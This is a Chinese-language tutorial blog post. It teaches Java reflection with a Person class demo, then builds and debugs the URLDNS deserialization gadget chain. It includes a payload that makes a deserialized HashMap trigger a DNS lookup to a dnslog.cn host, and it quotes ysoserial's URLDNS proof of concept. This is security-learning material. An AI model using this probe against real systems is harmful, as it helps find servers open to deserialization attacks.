发布于 

Java反序列化1-反射与URLDNS链

1. 反射

通过Demo来学习反射

1.1 创建Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class Person implements Serializable { // implements 实现 Serializable序列化接口 说明支持被反序列化
// private 是一个Java的规范,定义属性时,不能直接控制这个类的属性,要通过Getter/Setter对数据进行获取和设置
private Integer id; // 设置一个int类型的字段id
private String name; // 设置一个string类型的name字段
// 全参构造函数
public Person(Integer id, String name) {
this.id = id;
this.name = name;
}
// 无参构造函数(默认)
public Person() {
}
// Getter/Setter方法,用于对私有的属性设置和获取值,public可以提供其他地方调用
public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

// 自定义的一个方法,用来被调用
public void canDo(){
System.out.println("人能与运动");
}
// 用于调试输出,对Object的toString方法重写
@Override
public String toString() {
return "Person{" +
"id=" + id +
", name='" + name + '\'' +
'}';
}
}

1.2 用Demo理解反射

1.2.1 四种反射

这里会用到四种反射Demo为了各种应用场景,这四种反射都需要有涉猎

  1. Class.forname("包名") 使用Class类中的forName()静态方法(最安全,性能最好)
  2. 类名.class 调用类的class属性类获取该类对应的Class对象
  3. 对象.getClass() 调用某个类的对象的getClass()方法
  4. 对象.getClass().getClassLoader().loadClass("包名") 通过类加载器动态加载

1.2.2 Class.forname()

反射无参构造函数
1
2
3
4
5
6
7
8
9
10
11
12
// 1.获取Person的Class对象
Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
// 2. 调用Person的无参构造函数
Constructor<?> constructor1 = clazz.getConstructor();
Object o1 = constructor1.newInstance();
System.out.println("o1地址:" + o1);
System.out.println("o1是否为Person对象:" + (o1 instanceof Person));
// 或者直接用默认的实例化
Object o2 = clazz.newInstance();
System.out.println("o2地址:" + o2);
System.out.println("o2是否为Person对象:" + (o1 instanceof Person));
System.out.println("o1与o2是否相同" + o1 == o2);

image-20221016162721591

分析一下这段代码:

  1. 先通过Class.forname()获取Person的Class对象
  2. 再获取Class对象中的无参构造器去实例化newInstance()一个对象,返回值是一个对象
  3. 查看对象是否是Person类,并确定地址
  4. 用instanceof判断是否是Person的对象
  5. 最后判断两个对象是否一样,因为这里的地址是不一样的@4d7e1886所以我们可以知道这是两个对象
无参构造设置属性和调用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Person person = (Person) clazz.newInstance();
Object person1 = clazz.newInstance();
// 正向设置值获取值
person.setId(1);
person.setName("zhangsan");
person.canDo();
System.out.println(person);
// 通过反射设置值并获取方法
clazz.getMethod("setId", Integer.class).invoke(person1, 2);
clazz.getMethod("setName", String.class).invoke(person1, "lisi");
clazz.getMethod("canDo").invoke(person1);
Field[] declaredFields = clazz.getDeclaredFields();
// 遍历属性名
for (Field declaredField : declaredFields){
System.out.println(declaredField.getType() + " " + declaredField.getName());
}
System.out.println(person1);

image-20221016170243340

分析一下这段代码:

  1. 先通过无参构造函数获取对象,由于这里区分正反向,我们在正向操作时进行强转才可以调用方法,在反射中我们默认是不知道这个对象的,我们可以通过反射获取Object即可

  2. 反射式通过Class对象静态加载后通过getMethod方法

    1. 第一个参数是方法名

    2. 第二个参数是参数类型 ,在源码中是可变参数,无参就不填,有参就填参数类型

    3. 读一下这个方法的源码:

      image-20221016165151897

  3. 调用反射获取的方法,invoke 可以理解为是Method对象的调用方法

  4. 通过反射获取字段属性通过getField()getDeclaredField() 获取,区别是getDeclaredField 可以获取private修饰的属性

反射全参构造函数
1
2
3
4
Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Object o = clazz.getConstructor(Integer.class, String.class).newInstance(1, "zhangsan");
System.out.println(o instanceof Person);
System.out.println(o);

image-20221016180514838

分析一下这段代码:

  1. 我们Person对象全参构造器有两个参数,将两个参数的class作为参数传入getConstructor()方法中再传入两个实参进行实例化
  2. 查看反射出来的结果是否是Person对象
  3. 将结果打印查看一下
全参构造设置属性和调用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Object o = clazz.getConstructor(Integer.class, String.class).newInstance(1, "zhangsan");
Integer id = (Integer) clazz.getMethod("getId").invoke(o);
System.out.println("id:" + id);
clazz.getMethod("canDo").invoke(o);
clazz.getMethod("setId", Integer.class).invoke(o, 2);
System.out.println(o);
// 或者直接为私有属性设置固定值
Field id1 = clazz.getDeclaredField("id");
// Integer integer = (Integer) id1.get(o); // 这个是执行不了的,没有私有属性设置Accessible为true
// System.out.println(integer);
id1.setAccessible(true);
System.out.println("之前的id:" + id1.get(o));
id1.set(o, 3);
clazz.getMethod("getId").invoke(o);
System.out.println(o);

image-20221016184240868

分析一下这段代码:

  1. 我们在获取全参构造函数实例的一个对象之后,先通过他的getId()方法获取一下id,看看是否获取成功
  2. 然后调用canDo()是否正常执行
  3. 再通过setId()方法给id设置一个新值,最后打印查看已经完全替换
  4. 通过field获取id的值,在private修饰的私有属性时,就需要设置Accessible为true,否则不允许读写
  5. 然后我们看到通过修改,id变为3

1.2.3 类.class

所有方法基本与Class.forname()相同,只有在获取Class对象的途径上有所区别

1
2
3
// 1.获取Person的Class对象
// Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Class<Person> clazz = Person.class; // 差别只在这里

相关内容与Class.forname()相同

1.2.4 对象.getClass()

1
2
3
// 1.获取Person的Class对象
// Class<?> clazz = Class.forName("com.example.reflection.entity.Person");
Class<? extends Person> clazz = new Person().getClass();

相关内容与Class.forname()相同

1.2.5 什么是ClassLoader

我们可以简单理解为Class的加载器(找.class 的文件然后将他解析执行),所有加载的本质都是通过ClassLoader去执行。

1.2.6 getClassLoader()

这里通过getClassLoader()获取Class对象,这里有多种方式,主要从上几种衍生而来。

1
2
3
4
5
6
 // 1.方式1:通过类.class找他的ClassLoader去加载Class   
Class<?> clazz1 = ReflectionTest4.class.getClassLoader().loadClass("com.example.reflection.entity.Person");
// 2. 方式2: 通过对象.getClass找他的ClassLoader去加载Class
Class<?> clazz2 = new ReflectionTest4().getClass().getClassLoader().loadClass("com.example.reflection.entity.Person");
// 3. 方式3:通过Class.forname()找他的ClassLoader去加载Class(没必要)
Class<?> clazz3 = Class.forName("com.example.reflection.main.ReflectionTest4").getClassLoader().loadClass("com.example.reflection.entity.Person");

就是对上三种的加载基础上转变一下使用ClassLoader来加载。

2. URLDNS链

2.1 URLDNS链

1
2
3
4
5
6
7
8
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://r2t55a.dnslog.cn");
Class<? extends URL> clazz = url.getClass();
Field code = clazz.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url, 1); // 为了让getHostName()不执行
hashMap.put(url, 1);
code.set(url, -1);

2.2 序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashMap);
fileOutputStream.close();
objectOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object o = objectInputStream.readObject();
System.out.println(o);
objectInputStream.close();
fileInputStream.close();

2.5 结果

image-20221016193325967

2.6 Gadget利用链分析

流程

HashMap.readObject() -> HashMap.putVal()->HashMap.hash()->URL.hashcode()->URLStreamHandler().hashCode().getHostAddress->URLStreamHandler().hashCode().getHostAddress().getByName()

1
2
3
4
5
6
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

原理

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算keyhashCode,而java.net.URLhashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。

分析

  1. 入口类重写readObject方法
  2. 入口类可传入任意对象(这种类一般为集合类)
  3. 执行类可被利用执行危险或任意函数

这条链的入口类是java.util.HashMap,入口类的条件是:

  1. 实现Serializable接口

  2. 重写readObject()方法

  3. 接收参数宽泛

  4. 多为JDK自带

HashMap

首先看一下HashMap,这个类实现了Serializable接口

image-20221017094702114

重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。

image-20221017094913788

image-20221017094937165

putVal()就是哈希表结构存储函数,它调用了hash函数,根据key产生hash。

查看hash()方法,通过相与和位运算计算hash值:

image-20221017095204447

很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMapreadObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。

首先可以看到,参数对象Keys.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。

image-20221017100153211

image-20221017100222477

可以通过HashMap 反序列化调用K/V的readObject()

URL

入口类HashMap已经分析完成,具备了利用条件,具体在分析一下URL类的hashCode方法。

image-20221017100511427

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

image-20221017100813989

进入了URLStreamHandler对象的hashCode()方法,接收URL类的实例,调⽤getHostAddress⽅法。

image-20221017101008844

继续跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求,这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

调试流程

先看正向分析

这里使用强制步入可以看流程

先将断点打在put()上:

image-20221017102731835

强制步进后进入HashMap的put方法:

image-20221017102908856

然后调用HashMap的hash() 方法:

image-20221017103024021

然后进入URLhashCode()的方法(传入的参数是Object,就是我们传入的URL):

image-20221017103126576

只有在hashCode这个字段值是-1的情况下,我们才可以进入handler.hashCode() ,到URLStreamHandler 对象的hashCode()

image-20221017104119390

进入到getHostAddress()方法:

image-20221017104251943

然后进入getByName()请求发包。

再看反序列化流程分析

现在这两处下断,先通过readObject()将HashMap反序列化,我们这里以Key传URL。

image-20221017133854848

image-20221017134321726

key这个对象已经是URL对象了,我们需要调用的是URL中的hashCode()方法,需要通过hash() 方法执行,接着往里调试。

image-20221017134539572

到了Object.hashCode() 这里,我们知道就是URL.hashCode()

image-20221017134720271

因为我们修改过hashCode=-1,就可以执行我们要发请求的方法handler.hashCode() ,是调用URLStreamHandler对象的hashCode()方法。

image-20221017134834331

然后在getHostAddress() 中发DNS请求。

2.7 阅读ysoserial的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

// 此处对URLStreamHandler继承是为了防止有些代码检测此类,
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这里主要阅读getObject()这代码:

  1. new SilentURLStreamHandler()首先实例化一个自定义的继承于URLStreamHandler的类,URLStreamHandler在我们链中的hashCode()这就是调用getHostName()的关键位置,他继承了一个空方法,所以调用的还是原来URLStreamHandler 的值。
  2. new HashMap()是我们的入口点,后面就如同Gadget利用链一样
  3. Relections.setFieldValue()是封装过的class.getDeclaredField()所以全部流程与Gadget一样,后在反序列化中同样执行put()->putVal()->hash()->hashCode()->getHostName()